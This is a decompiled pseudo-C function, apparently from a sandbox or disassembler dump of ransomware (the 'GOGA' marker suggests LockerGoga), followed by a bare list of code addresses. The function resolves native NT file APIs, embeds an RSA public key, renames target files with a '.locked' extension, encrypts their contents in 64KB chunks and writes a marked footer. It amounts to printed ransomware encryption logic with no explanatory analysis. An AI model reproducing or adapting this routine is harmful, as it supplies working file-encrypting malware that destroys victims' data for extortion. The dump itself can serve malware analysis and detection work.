				signed int _v268;
				intOrPtr _v276;
				char _v280;
				char _v368;
				intOrPtr _v372;
				char _v388;
				char _v404;
				char _v408;
				union _GET_FILEEX_INFO_LEVELS _v412;
				char _v416;
				intOrPtr _v420;
				char _v424;
				signed int _v468;
				intOrPtr _v476;
				char _v480;
				signed int _v484;
				char _v488;
				char _v492;
				char _v496;
				WCHAR* _v500;
				char _v508;
				WCHAR* _v512;
				intOrPtr _v516;
				WCHAR* _v520;
				intOrPtr _v524;
				union _GET_FILEEX_INFO_LEVELS _v528;
				char* _v532;
				char _v540;
				union _GET_FILEEX_INFO_LEVELS _v544;
				intOrPtr _v548;
				char _v568;
				intOrPtr _v572;
				WCHAR* _v576;
				char _v580;
				intOrPtr _v584;
				WCHAR* _v588;
				signed int _v592;
				char* _v596;
				char _v604;
				char _v660;
				intOrPtr _v668;
				intOrPtr _v672;
				signed int _v676;
				intOrPtr _v680;
				intOrPtr _v688;
				intOrPtr _v692;
				signed int _v696;
				intOrPtr _v700;
				intOrPtr _v708;
				intOrPtr _v712;
				signed int _v716;
				intOrPtr _v720;
				intOrPtr _v728;
				char _v732;
				char _v736;
				char _v784;
				intOrPtr _v792;
				signed int _v796;
				signed int _v800;
				intOrPtr _v804;
				intOrPtr _v812;
				signed int _v816;
				signed int _v820;
				intOrPtr _v824;
				intOrPtr _v832;
				signed int _v836;
				signed int _v840;
				intOrPtr _v844;
				intOrPtr _v852;
				intOrPtr _v856;
				char _v860;
				char _v916;
				char _v924;
				intOrPtr _v928;
				char _v932;
				intOrPtr _v936;
				char _v992;
				intOrPtr _v996;
				char _v1000;
				void* __ebp;
				signed int _t387;
				signed int _t388;
				signed int _t390;
				void* _t406;
				intOrPtr _t411;
				char _t418;
				WCHAR* _t437;
				signed int _t438;
				union _GET_FILEEX_INFO_LEVELS _t439;
				signed int _t463;
				void* _t465;
				char* _t466;
				signed int _t484;
				intOrPtr _t490;
				intOrPtr _t491;
				intOrPtr* _t492;
				union _GET_FILEEX_INFO_LEVELS _t493;
				intOrPtr _t498;
				void* _t500;
				intOrPtr _t518;
				signed int _t525;
				intOrPtr _t526;
				signed int _t528;
				intOrPtr _t529;
				signed int _t531;
				intOrPtr _t532;
				intOrPtr _t535;
				WCHAR* _t536;
				void* _t537;
				void* _t539;
				intOrPtr _t556;
				intOrPtr* _t557;
				union _GET_FILEEX_INFO_LEVELS _t558;
				signed int _t560;
				intOrPtr _t572;
				intOrPtr _t576;
				signed int _t583;
				signed int _t585;
				signed int _t587;
				signed int _t589;
				signed int _t591;
				intOrPtr _t595;
				intOrPtr _t605;
				signed int _t620;
				union _GET_FILEEX_INFO_LEVELS _t621;
				intOrPtr _t635;
				signed int _t639;
				void* _t642;
				void* _t645;
				signed int _t653;
				intOrPtr _t663;
				intOrPtr _t668;
				signed int _t672;
				WCHAR* _t678;
				intOrPtr _t680;
				intOrPtr _t681;
				intOrPtr _t682;
				signed int _t687;
				char _t696;
				char _t703;
				char* _t704;
				intOrPtr _t706;
				signed int _t710;
				signed int _t711;
				intOrPtr _t712;
				signed int _t713;
				union _GET_FILEEX_INFO_LEVELS _t715;
				void* _t719;
				intOrPtr _t720;
				void* _t721;
				intOrPtr* _t724;
				WCHAR* _t730;
				signed int _t731;
				signed int _t732;
				signed int _t735;
				WCHAR* _t737;
				char* _t738;
				intOrPtr* _t740;
				signed int _t744;
				void* _t745;
				intOrPtr _t746;
				void* _t749;
				void* _t753;
				void* _t754;

				_t707 = __edx;
				_t610 = __ebx;
				_push(0xffffffff);
				_push(0x130d9a);
				_push( *[fs:0x0]);
				_t746 = _t745 - 0x3d8;
				_t387 =  *0x16f170; // 0xd529e887
				_t388 = _t387 ^ _t744;
				_v24 = _t388;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t388);
				 *[fs:0x0] =  &_v16;
				_v20 = _t746;
				_t737 = __edx;
				_t723 = __ecx;
				_v596 = __ecx;
				_v520 = __ecx;
				_v528 = 0;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x234], xmm0");
				_v544 = 0;
				_v588 = __ecx;
				_v592 = __edx;
				asm("movq [ebp-0x224], xmm0");
				_v568 = 0;
				_v544 = 0;
				_v8 = 0;
				_v8 = 1;
				_t390 =  *0x17a6b0; // 0x0
				_t760 = _t390 & 0x00000001;
				if((_t390 & 0x00000001) != 0) {
					L6:
					if( *0x17a69c != 0) {
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) == 0) {
							_t591 = _t390 | 0x00000002;
							__eflags = _t591;
							 *0x17a6b0 = _t591;
							_v8 = 5;
							 *0x17a6a8 = E0008EE00(0x17a69c, _t723, _t737, "NtOpenFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x0
						}
						__eflags = _t390 & 0x00000004;
						if((_t390 & 0x00000004) == 0) {
							_t589 = _t390 | 0x00000004;
							__eflags = _t589;
							 *0x17a6b0 = _t589;
							_v8 = 6;
							 *0x17a6ac = E0008EE00(0x17a69c, _t723, _t737, "NtClose");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x0
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t587 = _t390 | 0x00000008;
							__eflags = _t587;
							 *0x17a6b0 = _t587;
							_v8 = 7;
							 *0x17a698 = E0008EE00(0x17a69c, _t723, _t737, "NtReadFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x0
						}
						__eflags = _t390 & 0x00000010;
						if((_t390 & 0x00000010) == 0) {
							_t585 = _t390 | 0x00000010;
							__eflags = _t585;
							 *0x17a6b0 = _t585;
							_v8 = 8;
							 *0x17a6b4 = E0008EE00(0x17a69c, _t723, _t737, "NtWriteFile");
							_v8 = 1;
							_t390 =  *0x17a6b0; // 0x0
						}
						__eflags = _t390 & 0x00000020;
						if((_t390 & 0x00000020) == 0) {
							_t583 = _t390 | 0x00000020;
							__eflags = _t583;
							 *0x17a6b0 = _t583;
							_v8 = 9;
							 *0x17a6a0 = E0008EE00(0x17a69c, _t723, _t737, "RtlInitUnicodeString");
							_v8 = 1;
						}
						_v424 = 0x41474f47;
						_v420 = 0x30313531;
						E001053E0(_t723,  &_v416, 0, 0x2c);
						_v372 = 0x61676f67;
						E001053E0(_t723,  &_v368, 0, 0x58);
						E000CA810(_t610, _t707, _t723, __eflags, 1,  &_v404);
						E000AEA00(0x17a548,  &_v388, 0x10);
						_t724 = E000ECF08(_t737, __eflags);
						_v520 = _t724;
						_v8 = 0xa;
						E0005AA80(_t724, __eflags, E000B05D0(), 6, 0);
						 *_t724 = 0x152014;
						 *((intOrPtr*)(_t724 + 4)) = 0x151fc8;
						_v8 = 1;
						E00062D80( &_v280, _t707, __eflags, _t724);
						_v280 = 0x13e560;
						_v276 = 0x13e634;
						_v148 = 0;
						_v144 = 0;
						_v140 = 0;
						_v132 = 0xffffffff;
						_v128 = 0;
						_v124 = 0;
						_v8 = 0xd;
						E00059C80(" MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==", 0xdb, 0);
						_v8 = 0xe;
						_t406 = E0006D700(__eflags,  &_v40, "InputBuffer",  &_v148, 1);
						_t749 = _t746 + 0x38;
						_v8 = 0xf;
						 *((intOrPtr*)(_v280 + 0x20))(_t406, 0x3c, 0x10);
						 *((intOrPtr*)(_v280 + 0xc8))(1);
						_v8 = 0x10;
						_t620 = _v36;
						__eflags = _t620;
						if(_t620 != 0) {
							 *((intOrPtr*)( *_t620))(1);
						}
						_v40 = 0x13b788;
						_v8 = 0x11;
						_t411 = _v132;
						_t621 = _v128;
						__eflags = _t411 - _t621;
						_t622 =  <  ? _t411 : _t621;
						memset(_v124, 0, ( <  ? _t411 : _t621) << 0);
						L000B3E40(_v124);
						_v8 = 0x12;
						E00090BC0( &_v1000);
						_v8 = 0x13;
						 *((intOrPtr*)(_v996 + 4))( &_v280);
						_t418 = _v992;
						_t723 =  &_v992 +  *((intOrPtr*)(_t418 + 4));
						E000ADB10( &_v932, _v124, 1);
						E00090BC0( &_v924,  &_v932);
						_v936 = 0x13e968;
						_v932 = 0x13e994;
						_v928 = 0x13e9b8;
						_v8 = 0x14;
						 *((intOrPtr*)( *((intOrPtr*)( &_v916 +  *((intOrPtr*)(_v916 + 4)))) + 8))( &_v992 +  *((intOrPtr*)(_t418 + 4)));
						_v8 = 0x15;
						_v212 = 0;
						_v208 = 0;
						_v204 = 0x1522a0;
						E000AAB90(_t610,  &_v916 +  *((intOrPtr*)(_v916 + 4)),  &_v992 +  *((intOrPtr*)(_t418 + 4)), _t737,  &_v580, _t737,  &_v212);
						_v8 = 0x16;
						E000AA700(_t737, 0x1b6,  &_v212);
						_v8 = 0x15;
						E00093290( &_v120, _t737, L".locked");
						_v8 = 0x17;
						E00064650( &_v96, _t737,  &_v120);
						_v8 = 0x18;
						E000AA990( &_v96, _t744, __eflags,  &_v96,  &_v212);
						_v8 = 0x17;
						_t753 = _t749 + 0x30;
						_t710 = _v76;
						__eflags = _t710 - 8;
						if(_t710 < 8) {
							L29:
							__eflags = _t737[0xa] - 8;
							_t437 = _t737;
							if(_t737[0xa] >= 8) {
								_t437 =  *_t737;
							}
							_t438 = GetFileAttributesExW(_t437, 0,  &_v156);
							__eflags = _t438;
							if(_t438 != 0) {
								_t439 = _v128;
								_t635 = _v124 + 0;
								asm("adc eax, 0x0");
							} else {
								asm("xorps xmm0, xmm0");
								asm("movlpd [ebp-0x200], xmm0");
								_t439 = _v512;
								_t635 = _v516;
							}
							_v412 = _t439;
							_v416 = _t635;
							E00064650( &_v96, _t710,  &_v120);
							_v8 = 0x19;
							E000AAAC0(_t737,  &_v96, 0);
							_v8 = 0x17;
							_t754 = _t753 + 0xc;
							_t711 = _v76;
							__eflags = _t711 - 8;
							if(_t711 < 8) {
								L38:
								E000C6A70( &_v508);
								_v8 = 0x1a;
								_v56 = 0;
								_v72 = 0;
								_v52 = 7;
								_v528 = 2;
								E000729A0( &_v72, _t723, _v104 + 5);
								_t712 = _v52;
								_t639 = _v56;
								__eflags = _t712 - _t639 - 5;
								if(_t712 - _t639 < 5) {
									_push(5);
									_v484 = 0;
									E00070AF0( &_v72, 5, _v484, L"\\??\\\\");
								} else {
									__eflags = _t712 - 8;
									_t737 =  >=  ? _v72 :  &_v72;
									_t166 = _t639 + 5; // 0x5
									_t735 = _t166;
									_v56 = _t735;
									E00104E60( &(_t737[_t639]), L"\\??\\\\", 0xa);
									_t754 = _t754 + 0xc;
									_t737[_t735] = 0;
								}
								__eflags = _v100 - 8;
								_t713 = _v56;
								_t642 =  >=  ? _v120 :  &_v120;
								_t728 = _v104;
								_v484 = _t713;
								__eflags = _t728 - _v52 - _t713;
								if(_t728 > _v52 - _t713) {
									_push(_t728);
									_v484 = 0;
									E00070AF0( &_v72, _t728, _v484, _t642);
								} else {
									__eflags = _v52 - 8;
									_v56 = _t728 + _t713;
									_t737 =  >=  ? _v72 :  &_v72;
									E00104E60( &(_t737[_t713]), _t642, _t728 + _t728);
									_t754 = _t754 + 0xc;
									_t737[_v484 + _t728] = 0;
								}
								__eflags = _v52 - 8;
								asm("xorps xmm0, xmm0");
								_t456 =  >=  ? _v72 :  &_v72;
								asm("movlpd [ebp-0x258], xmm0");
								 *0x17a6a0( &_v604,  >=  ? _v72 :  &_v72);
								_v200 = 0x18;
								_v192 =  &_v604;
								asm("xorps xmm0, xmm0");
								_v196 = 0;
								_v188 = 0x40;
								_v184 = 0;
								_v180 = 0;
								asm("movlpd [ebp-0x218], xmm0");
								_t463 =  *0x17a6a8( &_v488, 0x12019f,  &_v200,  &_v540, 5, 0x4020);
								__eflags = _t463;
								if(__eflags < 0) {
									_t714 =  ~_t463;
									_t465 = E000735D0( &_v27,  ~_t463);
									 *((char*)(_t465 - 1)) = 0x2d;
									_v80 = 0;
									_v76 = 0xf;
									_t359 = _t465 - 1; // -1
									_t645 = _t359;
									_v96 = 0;
									_t466 =  &_v27;
									__eflags = _t645 - _t466;
									if(_t645 != _t466) {
										_t484 = _t466 - _t645;
										__eflags = _t484;
										_push(_t484);
										E00068B90( &_v96, _t714, _t737, _t645);
									}
									_v528 = 0xe;
									_v8 = 0x29;
									E00093460( &_v568, E0006CC90( &_v144, " FAILED ",  &_v96));
									E00060F60(_t610,  &_v144, _t728);
									E00060F60(_t610,  &_v96, _t728);
								} else {
									_t754 = _t754 - 8;
									E00092520(_t610,  &_v40, _t713, __eflags);
									_v8 = 0x1b;
									E00091950( &_v860, _t713, __eflags,  &_v388,  &_v40,  &_v404);
									_v8 = 0x1c;
									asm("xorps xmm0, xmm0");
									_t663 = _v416;
									_t715 = _v412;
									asm("movlpd [ebp-0x200], xmm0");
									_t730 = _v512;
									_t490 = _v516;
									_v524 = _t663;
									_v484 = _t715;
									goto L46;
								}
							} else {
								_t695 = _v96;
								_t719 = 2 + _t711 * 2;
								_t572 = _t695;
								__eflags = _t719 - 0x1000;
								if(_t719 < 0x1000) {
									L37:
									_push(_t719);
									E000ED2D0(_t695);
									_t754 = _t754 + 8;
									goto L38;
								} else {
									_t695 =  *((intOrPtr*)(_t695 - 4));
									_t715 = _t719 + 0x23;
									__eflags = _t572 - _t695 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L95;
									} else {
										goto L37;
									}
								}
							}
						} else {
							_t696 = _v96;
							_t710 = 2 + _t710 * 2;
							_t576 = _t696;
							__eflags = _t710 - 0x1000;
							if(_t710 < 0x1000) {
								L28:
								_push(_t710);
								E000ED2D0(_t696);
								_t753 = _t753 + 8;
								goto L29;
							} else {
								_t695 =  *((intOrPtr*)(_t696 - 4));
								_t715 = _t710 + 0x23;
								__eflags = _t576 -  *((intOrPtr*)(_t696 - 4)) + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L94;
								} else {
									goto L28;
								}
							}
						}
						goto L85;
					} else {
						_push(0xe);
						 *(_t723 + 0x10) = 0;
						 *((intOrPtr*)(_t723 + 0x14)) = 0xf;
						 *_t723 = 0;
						E00068B90(_t723, _t707, _t737, "internal error");
						 *((char*)(_t723 + 0x18)) = 1;
						if(_v544 == 0) {
							L12:
						} else {
							_t720 = _v548;
							if(_t720 < 0x10) {
								goto L12;
							} else {
								_t703 = _v568;
								_t721 = _t720 + 1;
								_t595 = _t703;
								if(_t721 < 0x1000) {
									L11:
									_push(_t721);
									E000ED2D0(_t703);
									goto L12;
								} else {
									_t695 =  *((intOrPtr*)(_t703 - 4));
									_t715 = _t721 + 0x23;
									if(_t595 -  *((intOrPtr*)(_t703 - 4)) + 0xfffffffc > 0x1f) {
										goto L93;
									} else {
										goto L11;
									}
								}
							}
						}
					}
				} else {
					 *0x17a6b0 = _t390 | 0x00000001;
					_push(__ecx);
					_t704 =  &_v96;
					_v8 = 2;
					E0006CE80(_t704, "ntdll.dll");
					 *0x17a69c = 0;
					_push(_t704);
					_v8 = 4;
					E0008EDA0(__ebx, 0x17a69c, _t707, _t723, _t760,  &_v96);
					_v8 = 2;
					_t707 = _v76;
					if(_t707 < 8) {
						L5:
						E000ED2BB(_t763, 0x1388d0);
						_v8 = 1;
						_t746 = _t746 + 4;
						_t390 =  *0x17a6b0; // 0x0
						goto L6;
					} else {
						_t706 = _v96;
						_t707 = 2 + _t707 * 2;
						_t605 = _t706;
						if(_t707 < 0x1000) {
							L4:
							_push(_t707);
							E000ED2D0(_t706);
							_t746 = _t746 + 8;
							goto L5;
						} else {
							_t695 =  *((intOrPtr*)(_t706 - 4));
							_t715 = _t707 + 0x23;
							_t763 = _t605 -  *((intOrPtr*)(_t706 - 4)) + 0xfffffffc - 0x1f;
							if(_t605 -  *((intOrPtr*)(_t706 - 4)) + 0xfffffffc > 0x1f) {
								E0010F44B(__ebx, _t695, _t715, _t723, __eflags);
								L93:
								E0010F44B(_t610, _t695, _t715, _t723, __eflags);
								L94:
								E0010F44B(_t610, _t695, _t715, _t723, __eflags);
								L95:
								_t557 = E0010F44B(_t610, _t695, _t715, _t723, __eflags);
								L96:
								_t558 =  *_t557();
								L58:
								_t560 = _v496 + _t737;
								__eflags = _t560;
								_v532(_t560, _t558);
								_t737 = _t730;
								L59:
								_v496 = _v40;
								_v532 =  &_v736;
								E00090E20( &_v660, _t715, __eflags,  &_v784);
								_v8 = 0x1d;
								_v728 = _v852;
								_v720 = _v844;
								_t525 = _v840;
								_t716 = _t525;
								_v716 = _t525;
								__eflags = _t525;
								if(__eflags != 0) {
									_t526 = E000B3DE0(_t730, __eflags, _t525);
									_t716 = _v716;
									_t680 = _t526;
									_t525 = _v840;
									_t754 = _t754 + 4;
								} else {
									_t680 = 0;
								}
								_t731 = _v836;
								_v712 = _t680;
								__eflags = _t731;
								if(_t731 != 0) {
									E00051A20(_t680, _t716, _t731, _t525);
									_t754 = _t754 + 8;
								}
								_v8 = 0x1f;
								_v700 = _v824;
								_t528 = _v820;
								_t717 = _t528;
								_v696 = _t528;
								__eflags = _t528;
								if(__eflags != 0) {
									_t529 = E000B3DE0(_t731, __eflags, _t528);
									_t717 = _v696;
									_t681 = _t529;
									_t528 = _v820;
									_t754 = _t754 + 4;
								} else {
									_t681 = 0;
								}
								_t732 = _v816;
								_v692 = _t681;
								__eflags = _t732;
								if(_t732 != 0) {
									E00051A20(_t681, _t717, _t732, _t528);
									_t754 = _t754 + 8;
								}
								_v8 = 0x21;
								_v680 = _v804;
								_t531 = _v800;
								_t718 = _t531;
								_v676 = _t531;
								__eflags = _t531;
								if(_t531 != 0) {
									_t532 = E000B3B40(_t732, _t737, _t531);
									_t718 = _v676;
									_t682 = _t532;
									_t531 = _v800;
									_t754 = _t754 + 4;
								} else {
									_t682 = 0;
								}
								_t733 = _v796;
								_v672 = _t682;
								__eflags = _v796;
								if(__eflags != 0) {
									E00051A20(_t682, _t718, _t733, _t531);
									_t754 = _t754 + 8;
								}
								_v668 = _v792;
								_v736 = 0x152a40;
								_v732 = 0x153064;
								_v708 = 0x152b98;
								_v688 = 0x152bd0;
								_v8 = 0x23;
								E000C86F0( &_v732, __eflags, _v492, _v500);
								_push(0x78);
								_t535 = E000ECF08(_t737, __eflags);
								_t734 = _t535;
								_v584 = _t535;
								_push(0x20);
								_v8 = 0x24;
								_t536 = E000ECF08(_t737, __eflags);
								_t754 = _t754 + 8;
								_v512 = _t536;
								_v8 = 0x25;
								_t537 = E0005A760(_t536, _v496, _t737);
								_push(5);
								_v8 = 0x24;
								_t539 = E000B1090(_t610, _t535, _t737, __eflags,  &_v732, _t537);
								_v8 = 0x23;
								E0005A8A0( &_v176, _t718, __eflags, _v496, _t737, _t734, _t539);
								_t687 = _v164;
								_v176 = 0x13e47c;
								_v172 = 0x13e550;
								__eflags = _t687;
								if(_t687 != 0) {
									 *((intOrPtr*)( *_t687))(1);
								}
								_v8 = 0x1c;
								_v736 = 0x13e2b0;
								_v732 = 0x13e304;
								_v708 = 0x13e348;
								_v688 = 0x13e380;
								E00092200( &_v736);
								E00090F70( &_v660);
								_v580 = _v492;
								_v576 = _v500;
								 *0x17a6b4(_v488, 0, 0, 0,  &_v540, _v40, _t737,  &_v580, 0);
								_t490 = _v572;
								_t730 = _v520;
								_t663 = _v524;
								_t715 = _v484;
								L46:
								_v492 = _t490;
								_v500 = _t730;
								__eflags = _t730 - _t715;
								if(__eflags <= 0) {
									if(__eflags < 0) {
										L49:
										_t737 = _t663 - _t490;
										asm("sbb eax, edi");
										__eflags = 0 - _t715;
										if(__eflags <= 0) {
											if(__eflags < 0) {
												L52:
												_t737 = 0x10000;
											} else {
												__eflags = 0x10000 - _t737;
												if(0x10000 < _t737) {
													goto L52;
												}
											}
										}
										 *0x17a698(_v488, 0, 0, 0,  &_v540, _v40, _t737, 0, 0);
										E000C6B10( &_v508, _v40, _t737);
										_t678 = _t730;
										_t518 = _v492 + 0x10000;
										_v572 = _t518;
										asm("adc ecx, 0x0");
										_v520 = _t678;
										__eflags = _t678 - _v484;
										if(__eflags >= 0) {
											if(__eflags > 0) {
												L56:
												_push( &_v40);
												_t235 =  &(_t737[2]); // 0x10004
												_t730 = _t235;
												_push(_t730);
												E00093560(_t610,  &_v40, _t730, _t737);
												_v496 = _v40;
												_t556 = _v508;
												_t557 =  *((intOrPtr*)(_t556 + 0x20));
												_v532 =  *((intOrPtr*)(_t556 + 0x3c));
												__eflags = _t557 - 0x91ce0;
												if(_t557 != 0x91ce0) {
													goto L96;
												} else {
													_t558 = 0x14;
												}
												goto L58;
											} else {
												__eflags = _t518 - _v524;
												if(__eflags >= 0) {
													goto L56;
												}
											}
										}
										goto L59;
									} else {
										__eflags = _t490 - _t663;
										if(_t490 < _t663) {
											goto L49;
										}
									}
								}
								_t491 = _v508;
								_t740 =  *((intOrPtr*)(_t491 + 0x3c));
								_t492 =  *((intOrPtr*)(_t491 + 0x20));
								__eflags = _t492 - 0x91ce0;
								if(__eflags != 0) {
									_t493 =  *_t492();
								} else {
									_t493 = 0x14;
								}
								 *_t740( &_v408, _t493);
								_t737 = E000ECF08(_t740, __eflags);
								_v512 = _t737;
								_v8 = 0x26;
								_v584 = E000ECF08(_t737, __eflags);
								_v8 = 0x27;
								_t498 = E0005A760(_t497,  &_v408, 0x80);
								_v8 = 0x26;
								_t728 = _t498;
								_t668 = _v936;
								_t334 = _t668 + 0x1c; // 0xae810
								_t500 =  *((intOrPtr*)( *_t334))(0x17a548, 0,  *0x16f038, 0x20, 0x4c);
								E000B0F10(_t610, _t737, _t715, _t737, __eflags, _t500, 0);
								 *_t737 = 0x152938;
								_t737[2] = 0x152c14;
								_v8 = 0x1c;
								E0005A8A0( &_v480, _t715, __eflags,  &_v408, 0x28, _t737, _t737);
								_t340 =  &_v424; // 0x41474f47
								_v8 = 0x28;
								 *0x17a6b4(_v488, 0, 0, 0,  &_v540, _t340, 0x90, 0, 0, 0, _t498);
								 *0x17a6ac(_v488);
								_t672 = _v468;
								_v480 = 0x13e47c;
								_v476 = 0x13e550;
								__eflags = _t672;
								if(_t672 != 0) {
									 *((intOrPtr*)( *_t672))(1);
								}
								_v860 = 0x13e2b0;
								_v856 = 0x13e304;
								_v832 = 0x13e348;
								_v812 = 0x13e380;
								E00092200( &_v860);
								E00090F70( &_v784);
								E000924D0(_t610,  &_v40, _t728);
								L85:
								E00054B10(_t610,  &_v72, _t728, _t737);
								E00054B10(_t610,  &_v120, _t728, _t737);
								E00090C70( &_v924);
								E00090C70( &_v1000);
								_t653 = _v268;
								_v280 = 0x13e47c;
								_v276 = 0x13e550;
								__eflags = _t653;
								if(_t653 != 0) {
									 *((intOrPtr*)( *_t653))(1);
								}
								_t738 = _v596;
								__eflags = _v544;
								 *_t738 = 0;
								 *((char*)(_t738 + 0x18)) = 0;
								if(_v544 != 0) {
									E000936C0(_t738,  &_v568);
								}
								E0005DB90(_t610,  &_v568, _t728);
							} else {
								goto L4;
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				return E000ECED8(_v24 ^ _t744);
			}

0x0008fc60
0x0008fc60
0x0008fc63
0x0008fc65
0x0008fc70
0x0008fc71
0x0008fc77
0x0008fc7c
0x0008fc7e
0x0008fc81
0x0008fc82
0x0008fc83
0x0008fc84
0x0008fc88
0x0008fc8e
0x0008fc91
0x0008fc93
0x0008fc95
0x0008fc9b
0x0008fca1
0x0008fcab
0x0008fcae
0x0008fcb5
0x0008fcbf
0x0008fcc5
0x0008fccb
0x0008fcd3
0x0008fcda
0x0008fce1
0x0008fce8
0x0008fcec
0x0008fcf1
0x0008fcf3
0x0008fd84
0x0008fd8b
0x0008fdfa
0x0008fdfc
0x0008fdfe
0x0008fdfe
0x0008fe01
0x0008fe10
0x0008fe19
0x0008fe1e
0x0008fe22
0x0008fe22
0x0008fe27
0x0008fe29
0x0008fe2b
0x0008fe2b
0x0008fe2e
0x0008fe3d
0x0008fe46
0x0008fe4b
0x0008fe4f
0x0008fe4f
0x0008fe54
0x0008fe56
0x0008fe58
0x0008fe58
0x0008fe5b
0x0008fe6a
0x0008fe73
0x0008fe78
0x0008fe7c
0x0008fe7c
0x0008fe81
0x0008fe83
0x0008fe85
0x0008fe85
0x0008fe88
0x0008fe97
0x0008fea0
0x0008fea5
0x0008fea9
0x0008fea9
0x0008feae
0x0008feb0
0x0008feb2
0x0008feb2
0x0008feb5
0x0008fec4
0x0008fecd
0x0008fed2
0x0008fed2
0x0008fede
0x0008feeb
0x0008fef5
0x0008ff02
0x0008ff0f
0x0008ff1f
0x0008ff35
0x0008ff41
0x0008ff46
0x0008ff4c
0x0008ff5c
0x0008ff68
0x0008ff6e
0x0008ff75
0x0008ff79
0x0008ff7e
0x0008ff88
0x0008ff92
0x0008ff99
0x0008ffa3
0x0008ffad
0x0008ffb4
0x0008ffbb
0x0008ffd4
0x0008ffd8
0x0008ffe5
0x0008fff3
0x0008fff8
0x0008fffd
0x0009000e
0x0009001f
0x00090025
0x00090029
0x0009002c
0x0009002e
0x00090034
0x00090034
0x00090036
0x0009003d
0x00090041
0x00090044
0x00090047
0x0009004e
0x00090053
0x00090056
0x00090061
0x00090065
0x0009006a
0x00090081
0x00090084
0x0009009b
0x0009009d
0x000900a9
0x000900ae
0x000900b8
0x000900c2
0x000900cc
0x000900e4
0x000900ed
0x000900f8
0x00090104
0x0009010b
0x00090115
0x00090123
0x0009012e
0x0009013a
0x00090141
0x0009014c
0x00090154
0x0009015f
0x00090168
0x0009016d
0x00090171
0x00090174
0x00090177
0x0009017a
0x000901ae
0x000901ae
0x000901b2
0x000901b4
0x000901b6
0x000901b6
0x000901c2
0x000901c8
0x000901ca
0x000901e5
0x000901ea
0x000901ed
0x000901cc
0x000901cc
0x000901cf
0x000901d7
0x000901dd
0x000901dd
0x000901f0
0x000901f9
0x00090203
0x0009020d
0x00090213
0x00090218
0x0009021c
0x0009021f
0x00090222
0x00090225
0x00090259
0x0009025f
0x00090264
0x0009026d
0x00090274
0x0009027e
0x00090286
0x00090290
0x00090295
0x0009029a
0x0009029f
0x000902a2
0x000902cf
0x000902d6
0x000902e8
0x000902a4
0x000902a4
0x000902ac
0x000902b0
0x000902b0
0x000902b8
0x000902bf
0x000902c4
0x000902c9
0x000902c9
0x000902ed
0x000902f4
0x000902f7
0x000902fe
0x00090303
0x00090309
0x0009030b
0x0009033f
0x00090341
0x00090352
0x0009030d
0x0009030d
0x00090314
0x0009031a
0x00090327
0x00090332
0x00090339
0x00090339
0x00090357
0x0009035e
0x00090361
0x0009036c
0x00090375
0x00090386
0x00090390
0x00090396
0x000903a1
0x000903b2
0x000903c8
0x000903d3
0x000903dd
0x000903e5
0x000903eb
0x000903ed
0x00090950
0x00090952
0x00090957
0x0009095b
0x00090962
0x00090969
0x00090969
0x0009096c
0x00090970
0x00090973
0x00090975
0x00090977
0x00090977
0x00090979
0x0009097e
0x0009097e
0x00090983
0x00090990
0x000909b0
0x000909bb
0x000909c3
0x000903f3
0x000903f3
0x000903f9
0x00090404
0x00090417
0x0009041c
0x00090420
0x00090423
0x00090429
0x0009042f
0x00090437
0x0009043d
0x00090443
0x00090449
0x00000000
0x00090449
0x00090227
0x00090227
0x0009022a
0x00090231
0x00090233
0x00090239
0x0009024f
0x0009024f
0x00090251
0x00090256
0x00000000
0x0009023b
0x0009023b
0x0009023e
0x00090246
0x00090249
0x00000000
0x00000000
0x00000000
0x00000000
0x00090249
0x00090239
0x0009017c
0x0009017c
0x0009017f
0x00090186
0x00090188
0x0009018e
0x000901a4
0x000901a4
0x000901a6
0x000901ab
0x00000000
0x00090190
0x00090190
0x00090193
0x0009019b
0x0009019e
0x00000000
0x00000000
0x00000000
0x00000000
0x0009019e
0x0009018e
0x00000000
0x0008fd8d
0x0008fd8d
0x0008fd8f
0x0008fd98
0x0008fda4
0x0008fda7
0x0008fdb3
0x0008fdb7
0x0008fdf3
0x0008fdb9
0x0008fdb9
0x0008fdc2
0x00000000
0x0008fdc4
0x0008fdc4
0x0008fdca
0x0008fdcb
0x0008fdd3
0x0008fde9
0x0008fde9
0x0008fdeb
0x00000000
0x0008fdd5
0x0008fdd5
0x0008fdd8
0x0008fde3
0x00000000
0x00000000
0x00000000
0x00000000
0x0008fde3
0x0008fdd3
0x0008fdc2
0x0008fdb7
0x0008fcf9
0x0008fcfc
0x0008fd01
0x0008fd07
0x0008fd0a
0x0008fd0e
0x0008fd13
0x0008fd1d
0x0008fd21
0x0008fd2b
0x0008fd30
0x0008fd34
0x0008fd3a
0x0008fd6e
0x0008fd73
0x0008fd78
0x0008fd7c
0x0008fd7f
0x00000000
0x0008fd3c
0x0008fd3c
0x0008fd3f
0x0008fd46
0x0008fd4e
0x0008fd64
0x0008fd64
0x0008fd66
0x0008fd6b
0x00000000
0x0008fd50
0x0008fd50
0x0008fd53
0x0008fd5b
0x0008fd5e
0x00090b92
0x00090b97
0x00090b97
0x00090b9c
0x00090b9c
0x00090ba1
0x00090ba1
0x00090ba6
0x00090bac
0x00090520
0x0009052d
0x0009052d
0x00090530
0x00090536
0x00090538
0x00090541
0x0009054d
0x0009055a
0x0009055f
0x00090569
0x00090575
0x0009057b
0x00090581
0x00090583
0x00090589
0x0009058b
0x00090592
0x00090597
0x0009059d
0x0009059f
0x000905a5
0x0009058d
0x0009058d
0x0009058d
0x000905a8
0x000905ae
0x000905b4
0x000905b6
0x000905ba
0x000905bf
0x000905bf
0x000905c2
0x000905cc
0x000905d2
0x000905d8
0x000905da
0x000905e0
0x000905e2
0x000905e9
0x000905ee
0x000905f4
0x000905f6
0x000905fc
0x000905e4
